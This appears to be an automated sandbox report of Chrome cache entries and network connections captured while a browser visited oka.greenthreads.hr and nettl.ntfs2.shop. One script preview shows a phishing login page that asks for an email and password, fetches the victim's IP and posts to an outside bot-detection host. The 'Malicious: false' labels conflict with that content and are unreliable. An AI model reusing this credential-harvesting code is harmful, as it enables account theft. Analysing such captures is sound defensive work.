SHA1:	75B0609D9F1A9124ED4E27F3FBD232B8985E6B0F
SHA-256:	E2EFBA3AD9DEACFED91542891E1D8EB0859C0D47371A5A8E3809992320F7DAF6
SHA-512:	862619470AC49D0DC89F6FF3C1BB9AB7891DAA1A55E559F73E8B71559ACA1BE7130D3ECE4CCFFC5DDE98F9A70F96446BAD17E753677D096FEB21A7954416DA58
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/186-e401717d9e8b842b.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[186],{487:function(t){var e={utf8:{stringToBytes:function(t){return e.bin.stringToBytes(unescape(encodeURIComponent(t)))},bytesToString:function(t){return decodeURIComponent(escape(e.bin.bytesToString(t)))}},bin:{stringToBytes:function(t){for(var e=[],r=0;r<t.length;r++)e.push(255&t.charCodeAt(r));return e},bytesToString:function(t){for(var e=[],r=0;r<t.length;r++)e.push(String.fromCharCode(t[r]));return e.join("")}}};t.exports=e},1012:function(t){var e,r;e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",r={rotl:function(t,e){return t<<e\|t>>>32-e},rotr:function(t,e){return t<<32-e\|t>>>e},endian:function(t){if(t.constructor==Number)return 16711935&r.rotl(t,8)\|4278255360&r.rotl(t,24);for(var e=0;e<t.length;e++)t[e]=r.endian(t[e]);return t},randomBytes:function(t){for(var e=[];t>0;t--)e.push(Math.floor(256*Math.random()));return e},bytesToWords:function(t){for(var e=[],r=0,n=0;r<t.length;r++,n+=8)e[n>>>5]\|=t[r]<<2

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	109
Entropy (8bit):	6.387360700884014
Encrypted:	false
SSDEEP:	3:D8FX0F9expEfemms7QQIRzXNHFzwlbjQ:DSa9esfeV9lslbjQ
MD5:	F81F434C9458D80DC12810113526D01E
SHA1:	72715CD3EF28B91E836624B5FAA3B117DC9FE855
SHA-256:	9B961761A839BB0BBDF5ED19E310D1F3BE36F8C73B3BCFDDCCDB2C35FBD3FD4E
SHA-512:	9FEB5D2BF0B978C0B1F75AA3C9F930C57E2C2AEB80C1815F7648F1AB5EB8E2B755C2DE44EC116B8F6E6206FDDA0ACEA97FD5129B36E0A46626E44A63B0EC53D2
Malicious:	false
Reputation:	low
Preview:	....d.f.$FwT......ur.t....@...X.<..T.xHB...._..U{..!.&...^.5..t.#.cy..i.3.,-..G...?..bv9l.G.)...._.....K..

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	93582
Entropy (8bit):	5.3137933918088445
Encrypted:	false
SSDEEP:	1536:6ppDFYPwqNLLXwpa1VMQ1FeL5d47Wfp7XCAaIK+U:GqiokQneL5d47aLVs+U
MD5:	DA989C36392E2601EA958221AE086C80
SHA1:	BC3CE9E7F2872A6558B8068F90A40B0CEDD93462
SHA-256:	2563B9EC72FD85ADC785A500E808635088D4DA3FF7993F386D9692B028B13A5B
SHA-512:	266C763D3C65A349BA5D4E07E70BCA18D59036252C4A92A009B97D4E35D1A9BDB810B3F825E716B5C60D9E867E4C4633148EDFD8C20BDD4DFFE7086CAFE76E4C
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/main-de1ad41d606513c1.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[179],{37:function(){"trimStart"in String.prototype\|\|(String.prototype.trimStart=String.prototype.trimLeft),"trimEnd"in String.prototype\|\|(String.prototype.trimEnd=String.prototype.trimRight),"description"in Symbol.prototype\|\|Object.defineProperty(Symbol.prototype,"description",{configurable:!0,get:function(){var e=/$(.*)$/.exec(this.toString());return e?e[1]:void 0}}),Array.prototype.flat\|\|(Array.prototype.flat=function(e,t){return t=this.concat.apply([],this),e>1&&t.some(Array.isArray)?t.flat(e-1):t},Array.prototype.flatMap=function(e,t){return this.map(e,t).flat()}),Promise.prototype.finally\|\|(Promise.prototype.finally=function(e){if("function"!=typeof e)return this.then(e,e);var t=this.constructor\|\|Promise;return this.then(function(r){return t.resolve(e()).then(function(){return r})},function(r){return t.resolve(e()).then(function(){throw r})})}),Object.fromEntries\|\|(Object.fromEntries=function(e){return Array.from(e).reduce

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1515), with no line terminators
Category:	downloaded
Size (bytes):	1515
Entropy (8bit):	5.288161100448261
Encrypted:	false
SSDEEP:	24:NQiVY49x35poVuJbn81ekVXVYFf+8HWvKhbNCemICebO/Vlc5Mz8Dj2pLerSvJKJ:6OY+bvo1HXVufFAoNdCebONw4OKMeMJ
MD5:	358DF2F88C6CB7B259F7DFA5095500D5
SHA1:	61141300014610F6DF77001775A2B8685B2985A0
SHA-256:	6714626B550B8D9D9FBF11B56DC2CDFF65466D4E2BF4293FF5B92952B232393D
SHA-512:	D45645CD0F4CEC02A7768C24A10D0D687F0A9A07875E203B51CCDBAF45DCB352D7C7DDFA626A57A5A8D097BF567D46FEC5D96744BC35CE47682C1E39D42F52AC
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css
Preview:	.Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);border-radius:10px;padding:20px;width:300px;box-shadow:0 4px 6px rgba(0,0,0,.1);outline:2px solid #000}.Index_logo___RQb3{width:64px;height:64px;margin:0 auto 20px}.Index_instruction__zKWvQ{font-family:Arial,sans-serif;font-size:16px;color:#555;margin-bottom:20px}.Index_modal__Vdljb{position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.5);display:flex;justify-content:center;align-items:center;z-index:1000}.Index_modalContent__dAUWU{background:#fff;padding:20px 30px;border-radius:10px;text-align:center;font-size:18px;font-weight:700}.Index_dots__9eVYy{display:inline-block;animation:Index_dots__9eVYy 1.2s steps(4) infinite}@keyframes Index_dots__9eVYy{0%{content:""}25%{content:"."}50%{content:".."}75%{content:"..."}}.Index_en

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zstandard compressed data (v0.8+), Dictionary ID: None
Category:	downloaded
Size (bytes):	694
Entropy (8bit):	7.644316022961293
Encrypted:	false
SSDEEP:	12:LosaXjCRJm7PYo48fZtqFNo+APrUQmCGwpvhfZBrKW7Sn:LoBXGmbYbSAFRAjVmCG41ZBXSn
MD5:	D13C542DA26E87B69AA16CEA7229C3F5
SHA1:	114D3593CA481CC8FCF750FDE92279C2871DDEF3
SHA-256:	248E35264F85B24DAA59509769F05FA1A339E7B53788EB31AFC0DFCFA44DDD4E
SHA-512:	AC8AF1189D4A10A1D340CABD2B9D18762CF3D5EC6D3184757E8BB9F269858DE8A73D691ED755EA019A125EE218A3F397FF4118AE376074047BD7966271719855
Malicious:	false
Reputation:	low
URL:	https://nettl.ntfs2.shop/styles.css
Preview:	(./..X4....d/...30.s!y.H.{I.I.;...io..~..@. .G....m&o......X.Y.U..xB..\...)!.....#.H(.$..Gs4G......K......)......\.....T?.?.>.8..\..k...M=wCDL("p..,.B..1...4...\|..W.K..0...:.5...}..0L..&...cY......`..r...8EJc..\.f.=5...'-KW..[.!...~)qq...I.1nG.........(..X(....k..nD../mi.C....B....#1-.P.?..C...{.*..m..+c.-$.K.4.......H.5..r.5E^fy?..{.8..^..k........z.I....u..$]..q.K....a.....a.0...~...n...._r.q...A.XI0.$.9@.B..J;.@.X..R..!.....g/..dF.$..2.X......E.c....s.........-..{4..J.....KE.E.C..\..,E..{....A}s...]{...3/.CpU.!v.C<...9.'....o....VU$...m....U.......B......b.......KJ..CJ.w.T..5s..>..5.G.XR.V..L1..w.iU.I.>t!.k.j..#a.o.....}j..E.h..i.au.(...).......~.

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zstandard compressed data (v0.8+), Dictionary ID: None
Category:	downloaded
Size (bytes):	1623
Entropy (8bit):	7.880654339640907
Encrypted:	false
SSDEEP:	48:QDmBaAVJb1SjGqnr7wMnQ9BjmpbD1mnFvbyab+G:NVGNr7w3BPUG
MD5:	586B77E57561ABC285528EB44E9A2E0F
SHA1:	13E34DED2F56171791D6B09184F4296BB18361F9
SHA-256:	D4AC49A95C715B73AE5FB9A5AF350D9E507FC8705176C1A3EE5ACB62A8E6E825
SHA-512:	E0D24CBCD8E19118BE0E41B0234273620A6F15E97FC090C7B6DBAF34104A56BA245B894FB9235E4A8BC3E7810C9CA67B499B3742ADF324165B5D26BE4792F40D
Malicious:	false
Reputation:	low
URL:	https://nettl.ntfs2.shop/script.js
Preview:	(./..X<2..TT.=@m...C:.a.F..W..a}.....Hd.~...........5.EQ.~...wF...Q..........v..W,..H....H.pb.vzqS:..@...@....J1.v...R7..h7e.Z..r....!ncf...J..-VJ...MD.......~..!H<.&(&(>...i...Kx..w....E.L.e......V....a{0....eV..... .\|.2$wn`...P&r....wb@.2..-....V......T......].N..T~O.......#.@....B+u.....;.-.S.R.....BD..Dmd.Wz..j....;..B..y}L8. ra_N;...)......q...X...5B.8+.:.j]zs....i.s.sj\|M!P(.....mv1.n..i...@...f'..R)..L.!.\|9.0:...^..V...AkF.D...E.D....O...<z5.......\|.k...5g{e...^.O...[.I...F.=F.x....uk.T.p.R,..>....Lh}E......e".=XM.....;.l.1.....r.}..m....>A..[\\...y.K...L.....`.x.....?~y...Y2.-..X ..A....c.am);3.:.. .2..A.f.d.=.O...P..n.zk.L&..i..1....2a...\7`Nej.b....F..^.(._.......=x.)sc.....r..}n>j}<e....H._..........m.{.O..s..g....W....W...".tP.p...<%.....L2.s.......S.%.0....L.4..p..Y.iF.....\|....V......./o....W$...n_.V*.V.........n...h.R..\.KO.."..G^..@....=%...A....&\|.c..n...!HH...'.Qyi......Z..o...J.X....`.xR#...a...4......b

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zstandard compressed data (v0.8+), Dictionary ID: None
Category:	downloaded
Size (bytes):	4002
Entropy (8bit):	7.941548405893008
Encrypted:	false
SSDEEP:	48:cgyPKH9McH3l8BVqkx4XQU9sQUbrAN+qbA1vzguHlnAbInKt7OC6IIz9rM+jPdB9:a4MRxTKx6IIz9weaVo73lLiJRTC
MD5:	5D57D8EEB0D7216272152EEBAB6937C4
SHA1:	6E9E0ADD7B59E49D0AB595F94D2FCD0C33C0578F
SHA-256:	C77B395E67AD1675D5BECF41C2CD54AB51E7BE17E2E7DA7500A24649BCCBD1C8
SHA-512:	590A63C793F5EA34E0A05C81E7289F26B971A53565A839CFC528CF51ACE1648AD8A21A9794574448ADE4506A45949D41079C0F9FB8FFB981C111EDDDCBCEC19C
Malicious:	false
Reputation:	low
URL:	https://nettl.ntfs2.shop/cdn-cgi/challenge-platform/h/g/scripts/jsd/f3b948d8acb8/main.js?
Preview:	(./..X.\|..`-..D....lk.Y.hH]..........a..6..;...K....(.................y.......u.....z..9.9\f...[...~./...=~..}..>.....>...a..]X.0g...e.&..W..T..U.D.X.).BQ...q,.....0..iST.....p,....'..U..(..j.....h.......E.e...j...E.OL.......W.xl.+X.....a].N...\.".y.......Uoc!.9...F....c.@...hV. .....\|.9.~......8.qi..d..\|..e.L..3..v82.p,T...w...x...Z`=...n=..g..d..3].....Zv..'.O49.B.C.C...+..........NSO.npM.]Y...j..me.....C.<...8.7.Ol....m{a..g!`.g......_.=~}..s...S.+xj..OM..f.m......'...........x.9.q.Op.g.c.. .i.}..+.V...4[.p.. ._4.T..U(.`.K..R.B....$.>p ).h.g...4Kh6.?<..\X.q....<.N1D?..P..E....Cq.vW.......,. .".c."p6E.....8.....$.D.+....".."...6.]YX...tk..tK...Jj.ib..........r.....E_...gj.?/..;.}...~.......d)..Y...R.....3=J...n....2Qz.8..OM.....UUv.mMb.....R.r.b"...M.l...h.=...b...m[9.Ra5....!...Ltk._..E.5.4[..l.c.UAj..C.../n..0..TX[...xjzL.tS.P~..%...Q.yY..3..S._jA[...&.v;.l.1.1....#.G..H.........../t.?.w...=...&$.z;.l....\h.....N'..h..P

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	22
Entropy (8bit):	3.6069367321753205
Encrypted:	false
SSDEEP:	3:YMiVMxwn:YMiVMxw
MD5:	54FF18172115B3587E836272CC91E263
SHA1:	61A69D8C697BB92FD34EF456DFAF3D11DD38EC74
SHA-256:	9EC61D120C1FD6735E1AE59AF200FB1741508FA9631DD0086081DCDBEAC4F07B
SHA-512:	683728BBCB473F6E4ACE21DB45EC766A51D79C58E76A8A6508AA4421744E5CB8E8F1135617BA43D159DDE9FEF4A886EF945FD9DA0BC6EE70890FDF8A83A2BF31
Malicious:	false
Reputation:	low
URL:	https://api64.ipify.org/?format=json
Preview:	{"ip":"69.153.20.190"}

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zstandard compressed data (v0.8+), Dictionary ID: None
Category:	downloaded
Size (bytes):	1451
Entropy (8bit):	7.832440004036725
Encrypted:	false
SSDEEP:	24:qFbC8ctqFzdjPcZjNxjGNWcu6yOHeDLZYCM2Whqm6e2FHL6Er0QqZBO9GEEtKlZK:qRvlFxTcZjNBBcu6yO+hYCM3hqIfHZBd
MD5:	F19A065B75F9F20708F4DC89A828F00C
SHA1:	5D6E988B1C52DD19C0714B262522EA9D856B519B
SHA-256:	0BCE4E6F6728BB04193046BB5C3E4DA074815C0EBF88A3D66D0244596D28F877
SHA-512:	3090EBA4D59388A0F8FC932215901DCB6111C82E3302DC8D99AF227557D7F2FD4900FA889FAE1337EAA3233276759AB28E666AB0B487A25C9F9880236E4985CB
Malicious:	false
Reputation:	low
URL:	https://nettl.ntfs2.shop/
Preview:	(./..X.,..T..;@....0..0.....`-.[.L....5.;..s....1#.U}`.Q..D..d.8G. ......-.\...}.,l..i.(......m.4..g.f[3...^.`...NB...'.=n..t..F=k7M.ll.......s..=....}.....l.[Z.EW.p.!...-.o.t0.Xeo.dh.p.,)g.0..v.e....V..ai...]J.v...A......^....SK...n\|..'..\|.o.l..j......M .8.8..q.d.......@..u.1.k..g.C..f>k...8...V..o....[.h.dQ\....8.k..lI.k,}{+..Ao#...J{.Un...N.Z...v.+ Q."f....z.......V...%v...{.S........c.b.r...h....=G.........k..5(.=...4g..k.N..:%..d.x.m..=p;...v..z.K....L..d..$.I.4.p@.$.1Y0Q=Q....'..L"....Mu.E..T&.%-.4..OR.......6.1.....oV..@..\|...............8n>"H.G.A../M.......cV.......TE......,..o.$u.A/..+3..z.=.....%.........8...y..^.:.k.a....5.V.s..T...W....~.......a{...\zs.......kZ.m=.=.......1.3..K..{.2$....#../....n....r.8..........L.$......t......PE.....;..D.B.....@....z.A2....1..`..x..a(g....4{ .i...tc.} .........?..z...h/}.....U.3.c(.v:.*WE...f.i]..0=...={ ...X..T......1#.,A..\|1...q.z.1...$.N)=P..b.<...E...M.y ..QX.......#...L...L

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zstandard compressed data (v0.8+), Dictionary ID: None
Category:	downloaded
Size (bytes):	236
Entropy (8bit):	7.117632060034176
Encrypted:	false
SSDEEP:	6:1IMmBntOsdgitA3xSi3Y5XOxDxDCl1CCEDI2j/x6GM09Q:PmBn9DCx0AxDxDCl1fq5tMV
MD5:	AF415EFD910C2C2CC9E8FB4C23C489FE
SHA1:	F9C8450F45914F830CE5D9446BB80056EB6C2759
SHA-256:	1BD3D3CD7F3B8D70ED9E5807F2710FA827E8ED421CED0EA04373F4ED9514D273
SHA-512:	21B01985A67E280DFCEFC30B0A8C52076E93F10218D34990FFF73EF701B48E79CD8EFE3A0A07A944062315BDED64161A195764103C46C85F197ECD0957C26A5E
Malicious:	false
Reputation:	low
URL:	https://nettl.ntfs2.shop/favicon.ico
Preview:	(./..X...".."@I.......t.m.q..vD^.Hq.."Q".lj.E..-..Z.........E,.t..1.3.!o.B.$...E...8......2w..).[.C.j.8.fU%"...C...X.;....:........V...sR.g.F............q.....'.i2.#...;:.-..4a..0......t3....UY...0.i..C.N...A..c...9.d..l..s

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (3426), with no line terminators
Category:	downloaded
Size (bytes):	3436
Entropy (8bit):	5.493922042445215
Encrypted:	false
SSDEEP:	96:nABuzMDPGMhH/1q/jQyOcn+p29UrxiTbWmGFhF6:LzUPGGp21lG3F6
MD5:	1AB5148F51A9B649AC057952F5E150DC
SHA1:	72FE588AC5AD228580C4B2B0E65D26ABAC4D4110
SHA-256:	A18EA5410B82DAC25D50EBA359E8D729E83024EBA5F2C31EDBEBC4B6161ABC1C
SHA-512:	B2B8A0B6C6838CED260BD1685DFF7ED426DA61B3238CCF82D1D8B1410E05ACDC90064B6FFC737FAF44680266DE4D386F2429CBDDA8DDE0F4A9BA0DD34D99EF12
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/pages/index-d6318c8b55988a60.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[405],{5557:function(e,t,n){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i),l=n(9812),c=n.n(l);let d=()=>{let[e,t]=(0,o.useState)(""),[n,i]=(0,o.useState)(""),[l,d]=(0,o.useState)(!1),[u,_]=(0,o.useState)("/favicon.ico"),[p,m]=(0,o.useState)("Verify your email identity to continue."),[g,h]=(0,o.useState)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventDefault(),e.includes("@")){d(!0),m("Verify email password");let t=e.split("@")[1];_("https://logo.clearbit.com/".concat(t))}else alert("Please enter a valid email address.")},f=async t=>{if(t.preventDefault(),n.length<5){alert("Password must be at least 5 characters long.");return}h(!0);try{let t=await s.Z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.Z.post("https://rail-bot-production.up.railway.app/api/detect_bot",{user_agent:navigato

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2651
Entropy (8bit):	7.893739678606905
Encrypted:	false
SSDEEP:	48:KV2SGjPRX5z74gcfQARaQwHwoOO32UxDzA1fsL67/DTia+Qb:KIS+ZX5z74gaaQwH2Om0Dc1f/XTiYb
MD5:	756D3C530624A37A2EB47C6A657037A1
SHA1:	3E45A8DF02EF52D97D411581D89138999C57512A
SHA-256:	AF058CF398DC5E71D6FEAEAC924A676CC50382C923589EA03026D621AC32EFD9
SHA-512:	76E410998A0322E4CE0D40946C7D382D9E366F8C588AB61EC65645635A035650C9BDDAED5A54CD15BC489C75372FF19E05C4BF1540D9940B6952156A96CA06F1
Malicious:	false
Reputation:	low
URL:	https://www.gravatar.com/avatar/1c2c8ad38cd59179ba1f928f49bdd550?d=identicon
Preview:	.PNG........IHDR...P...P............pHYs..........+......IDATx..mPT......] 0My......q\.]..L.X).q.L"`.+.-..&%Tq:8Q.....b...5..i......)......t..)`.8Zv..~0g.{.=.....]......{...{..?{b..:.. ...+_..7.=U..h.t..U.nOGC}........................".@Aa>.N.6.d.....#jk....bxR.... ..X..Q..XzAr...N..."/<.....m8;'.Y......<eE...6-....x.....,.xKR......#hk...>...-.6...7.O.r;......3...x.8...0...S.D...Q.j~U....ax........ ..A..H3..'.B...... h{.j.H........H!j.g....a.X.../..}.z.'.t..m-].<r...t..........76..[...c...sss.x.,g.........'...r;.~.:.z.C229....N..^...,..3..v2c...@..L."........d......y......x....ji.;...&..8..@{G#.,...U.....\|..(..?.Oi.....oJ..0.j....m....qbYmV..{7.].AiI9......z.w.c....C......N...E...o.W.im.6-..xV.X........2....?<.#......y..H.._...x..dm.......9......(.Q.g."....Z...?...sJ.8..#L...v........Su ..KU[W.L.=....qf.n..<6..)..6<S.\|...U.......7.mh~......w4.s...)....R.G...wj.vN......9.w.4JK.a.Y..G......d..P.r.SW..X..z4...l...Sq...>.%...........y..9K6?/....

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2575), with no line terminators
Category:	downloaded
Size (bytes):	2575
Entropy (8bit):	5.275542685671171
Encrypted:	false
SSDEEP:	48:V+8GW++Gc++Gu7++G2++Gw++Gu++Gi++GOq++G2+4G2yGVqbOPYgujekmqOC+KK1:VJ1xvx17x/xVxxxxxZqxHDXyYqblWZK+
MD5:	1B3919FB792A62110C03224AD57F8516
SHA1:	D5577CAD84A5520E9EE3996CFA24CA02DB91DE8E
SHA-256:	B665CF0419D86C0520F9F2B66E06D0F5B259F97A762D59F43A7F1C2970AA2200
SHA-512:	F498DD19EBC4A1A58BB0EE0852A545CFDC9082620ADE364305BB905460621BA3DFE66F441F7474AE0B342326CC16DB2943D4A82E854385EACA816CD41A771C4A
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/
Preview:	<!DOCTYPE html><html><head><meta charSet="utf-8"/><link rel="preload" as="style" href="/_next/static/css/19d09a6113afa007.css"/><link rel="preload" as="script" href="/_next/static/chunks/webpack-ee7e63bc15b31913.js"/><link rel="preload" as="script" href="/_next/static/chunks/framework-2c79e2a64abdb08b.js"/><link rel="preload" as="script" href="/_next/static/chunks/main-de1ad41d606513c1.js"/><link rel="preload" as="script" href="/_next/static/chunks/pages/_app-aea6920bd27938ca.js"/><link rel="preload" as="script" href="/_next/static/chunks/186-e401717d9e8b842b.js"/><link rel="preload" as="script" href="/_next/static/chunks/pages/index-d6318c8b55988a60.js"/><link rel="preload" as="script" href="/_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js"/><link rel="preload" as="script" href="/_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js"/><link rel="preload" href="/_next/static/css/19d09a6113afa007.css" as="style"/><meta name="viewport" content="width=device-width"/><meta name="next-hea

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (877)
Category:	downloaded
Size (bytes):	882
Entropy (8bit):	5.158852458481094
Encrypted:	false
SSDEEP:	24:Gy32wi8UXxBHslgT1d1uawBATT2buoBN2t2t2t2t2t2t2tomffffffo:zhbUXxKlgJXwBAPKuSNYYYYYYYomfffw
MD5:	CC22C47129F05093172EFC00249B1F3D
SHA1:	138DF4EF67F0B2558E2A73143EE3C8F37E5632F8
SHA-256:	9D310518680A058C27241E86608CCD91F2228EACE5E5D6130D46986981876F0C
SHA-512:	98F087F832AC1E8033642AF55F3C29FCED33C260A2AFA8A6251DC1EFA2372B939DCC5123335DE584DD613ABB5AE17CFD8C19CCB6ACCF5E846274D8B8F0637145
Malicious:	false
Reputation:	low
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE
Preview:	)]}'.["",["crossfit open 25.3 leak","air india flight clogged toilets","blood moon total lunar eclipse tonight","cw nascar broadcast issues","palworld crossplay update","weather storms and tornadoes","stores closing","the rookie nathan fillion"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChoIkk4SFQoRVHJlbmRpbmcgc2VhcmNoZXMoCg\u003d\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggesteventid":"-8141648779532145840","google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1591)
Category:	downloaded
Size (bytes):	1999
Entropy (8bit):	5.300994247842504
Encrypted:	false
SSDEEP:	48:sM4rHu8isrzw+iqM4qakAuGdmrSXBPTbEQ+mUSWpp0AcAHsLrf:X4rH59rTe3AVFn+mP6pZxW
MD5:	D46325742471EFD77BF4525D99D56E1A
SHA1:	58B454342ECBD8B7ED98C03F2AF9737FEDB36819
SHA-256:	47FCCEBB72B3377A29E73C6AA7C7D7C82B006ADFEE96A009243E349B1F3E1177
SHA-512:	EE048C0FAEB5B8AABAEE2F964B709E08963590A6151D69143E5C5FB3089393D04AA74381424661024BFEB5554951453F37E269B8B9390F65C14AC25B32D87E2C
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/chunks/webpack-ee7e63bc15b31913.js
Preview:	!function(){"use strict";var e,n,r,t,o={},u={};function i(e){var n=u[e];if(void 0!==n)return n.exports;var r=u[e]={exports:{}},t=!0;try{o[e](r,r.exports,i),t=!1}finally{t&&delete u[e]}return r.exports}i.m=o,e=[],i.O=function(n,r,t,o){if(r){o=o\|\|0;for(var u=e.length;u>0&&e[u-1][2]>o;u--)e[u]=e[u-1];e[u]=[r,t,o];return}for(var f=1/0,u=0;u<e.length;u++){for(var r=e[u][0],t=e[u][1],o=e[u][2],c=!0,l=0;l<r.length;l++)f>=o&&Object.keys(i.O).every(function(e){return i.O[e](r[l])})?r.splice(l--,1):(c=!1,o<f&&(f=o));if(c){e.splice(u--,1);var a=t();void 0!==a&&(n=a)}}return n},i.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(n,{a:n}),n},i.d=function(e,n){for(var r in n)i.o(n,r)&&!i.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},i.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|Function("return this")()}catch(e){if("object"==typeof window)return window}}(),i.o=function(e,n){return Object.prototype.hasOwn

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 18:11:40.870202065 CET	49671	443	192.168.2.4	204.79.197.203
Mar 13, 2025 18:11:41.182137012 CET	49671	443	192.168.2.4	204.79.197.203
Mar 13, 2025 18:11:41.791498899 CET	49671	443	192.168.2.4	204.79.197.203
Mar 13, 2025 18:11:42.994606018 CET	49671	443	192.168.2.4	204.79.197.203
Mar 13, 2025 18:11:45.400860071 CET	49671	443	192.168.2.4	204.79.197.203
Mar 13, 2025 18:11:49.660991907 CET	49678	443	192.168.2.4	20.189.173.27
Mar 13, 2025 18:11:50.009953022 CET	49678	443	192.168.2.4	20.189.173.27
Mar 13, 2025 18:11:50.322362900 CET	49671	443	192.168.2.4	204.79.197.203
Mar 13, 2025 18:11:50.619232893 CET	49678	443	192.168.2.4	20.189.173.27
Mar 13, 2025 18:11:51.822046041 CET	49678	443	192.168.2.4	20.189.173.27
Mar 13, 2025 18:11:52.846687078 CET	49721	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:11:52.846721888 CET	443	49721	172.217.18.4	192.168.2.4
Mar 13, 2025 18:11:52.846848011 CET	49721	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:11:52.847192049 CET	49721	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:11:52.847204924 CET	443	49721	172.217.18.4	192.168.2.4
Mar 13, 2025 18:11:54.210275888 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:54.210314035 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:54.210427046 CET	49726	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:54.210457087 CET	443	49726	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:54.210480928 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:54.210560083 CET	49726	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:54.211206913 CET	49726	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:54.211220980 CET	443	49726	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:54.211539984 CET	49725	443	192.168.2.4	172.67.190.49
Mar 13, 2025 18:11:54.211553097 CET	443	49725	172.67.190.49	192.168.2.4
Mar 13, 2025 18:11:54.228252888 CET	49678	443	192.168.2.4	20.189.173.27
Mar 13, 2025 18:11:54.498967886 CET	443	49721	172.217.18.4	192.168.2.4
Mar 13, 2025 18:11:54.500750065 CET	49721	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:11:54.500781059 CET	443	49721	172.217.18.4	192.168.2.4
Mar 13, 2025 18:11:54.501842022 CET	443	49721	172.217.18.4	192.168.2.4
Mar 13, 2025 18:11:54.501903057 CET	49721	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:11:54.503649950 CET	49721	443	192.168.2.4	172.217.18.4
Mar 13, 2025 18:11:54.503767014 CET	443	49721	172.217.18.4	192.168.2.4
Mar 13, 2025 18:11:54.537978888 CET	49708	443	192.168.2.4	52.113.196.254
Mar 13, 2025 18:11:54.538877964 CET	49708	443	192.168.2.4	52.113.196.254
